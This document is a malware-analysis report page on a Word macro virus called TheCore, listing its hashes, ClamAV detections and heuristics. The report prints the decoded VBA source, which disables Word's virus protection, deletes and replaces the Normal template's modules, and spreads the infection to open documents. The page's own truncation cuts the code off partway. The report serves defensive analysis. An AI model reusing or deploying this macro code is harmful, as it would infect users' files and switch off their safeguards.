TheCore — Office (OLE) malware analysis

Static analysis result for SHA-256 9e9b55192230143c…

MALICIOUS

Office (OLE)

51.5 KB Created: 2000-03-15 11:05:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2feb2023786eac75db7f3b8ad956f4a2 SHA-1: e79f88596e4bb05598257ceabd91a7930b8c22aa SHA-256: 9e9b55192230143c95f1ca7a50548f40d00ae3e1e2be22bed7482e3968862214
200 Risk Score

Malware Insights

TheCore · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Doc.Trojan.TheCore-1'. Static analysis revealed the presence of VBA macros, specifically an 'AutoOpen' macro within the 'The_Core' module. This macro is designed to infect the Normal template, a common persistence technique for macro malware. The macro code is partially truncated but indicates an intent to modify or spread.

Heuristics 4

  • ClamAV: Doc.Trojan.TheCore-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.TheCore-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 23090 bytes
SHA-256: bb56fa7439c01529c2a0dae1551591df05f7fed9bad6ec7deaacb0a8ce6c4546
Detection
ClamAV: Doc.Trojan.TheCore-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NuclearPower"
Attribute VB_Base = "0{9EA595FE-FA61-11D3-ACDA-900936D3B526}{9EA595F4-FA61-11D3-ACDA-900936D3B526}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False











































































































Private Sub CommandButton1_Click()
Unload Me
End Sub

Private Sub Image1_Click()

End Sub

Attribute VB_Name = "The_Core"
'**************************************************
' Author  :  Putranto ILHAM Yazid
' Version :  1.20, September 1998.
' This macro is inspired by DwiGanteng macro virus.
' Special thank's and credit are expressed to him.
'**************************************************

Sub AutoExec()
    Options.VirusProtection = False
    Application.DefaultSaveFormat = ""
    WordBasic.DisableAutoMacros 1
End Sub

Sub AutoOpen()
    Call Infect_Normal_Template
End Sub

Sub Infect_Normal_Template()
    Options.VirusProtection = False
    Application.DefaultSaveFormat = ""
    Set NT = NormalTemplate
    MacroCount = NT.VBProject.VBComponents.Count
    For i = 1 To MacroCount
      NMacr = NT.VBProject.VBComponents(i).Name
      If Left(NMacr, 7) = "Version" Then
        If Val(Right(NMacr, 3)) >= 130 Then Exit Sub
      End If
    Next i
    i = MacroCount
' deletes all modules in Normal Template
    While i > 0
      NMacr = NT.VBProject.VBComponents(i).Name
      If (NMacr <> "ThisDocument") And (NMacr <> "MyUtility") Then
        Application.OrganizerDelete Source:=NT.FullName, _
            Name:=NMacr, Object:=wdOrganizerObjectProjectItems
      End If
      i = i - 1
    Wend
' then infects it with NuclearPower macro virus
    Set AD = ActiveDocument
    Application.OrganizerCopy Source:=AD.FullName, _
        Destination:=NT.FullName, Name:="NuclearPower", _
        Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=AD.FullName, _
        Destination:=NT.FullName, Name:="The_Core", _
        Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=AD.FullName, _
        Destination:=NT.FullName, Name:="Version130", _
        Object:=wdOrganizerObjectProjectItems
    Application.RecentFiles.Maximum = 9
' immediately saves Normal Template
    On Error GoTo jump1
    Templates(NT.FullName).Save
    GoTo jump2
jump1:
' alternative way of saving Normal Template
    Err.Number = 0
    WordBasic.FileOpen Name:=NT.FullName, AddToMru:=0
    WordBasic.FileClose 1
jump2:
' clear existing MRU list; since we can't intercept open calls there
Dim num$
Dim DlgTOG As Object
    Set DlgTOG = WordBasic.DialogRecord.ToolsOptionsGeneral(False)
    WordBasic.CurValues.ToolsOptionsGeneral DlgTOG
    num$ = WordBasic.[LTrim$](DlgTOG.RecentFileCount)
    DlgTOG.RecentFileCount = 0
    WordBasic.ToolsOptionsGeneral DlgTOG
    DlgTOG.RecentFileCount = WordBasic.Val(num$)
    WordBasic.ToolsOptionsGeneral DlgTOG
End Sub

Sub Infect_Document()
    On Error GoTo endsub ' traps error while exit with no document opened
    Set AD = ActiveDocument
    MacroCount = AD.VBProject.VBComponents.Count
    For i = 1 To MacroCount
      NMacr = AD.VBProject.VBComponents(i).Name
      If Left(NMacr, 7) = "Version" Then
        If Val(Right(NMacr, 3)) >= 130 Then Exit Sub
      End If
    Next i
    i = MacroCount
' deletes all modules in the document
    While i > 0
      NMacr = AD.VBProject.VBComponents(i).Name
      If NMacr <> "ThisDocument" Then
        Application.OrganizerDelete Source:=AD.FullName, _
            Name:=NMacr, Object:=wdOrganizerO
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.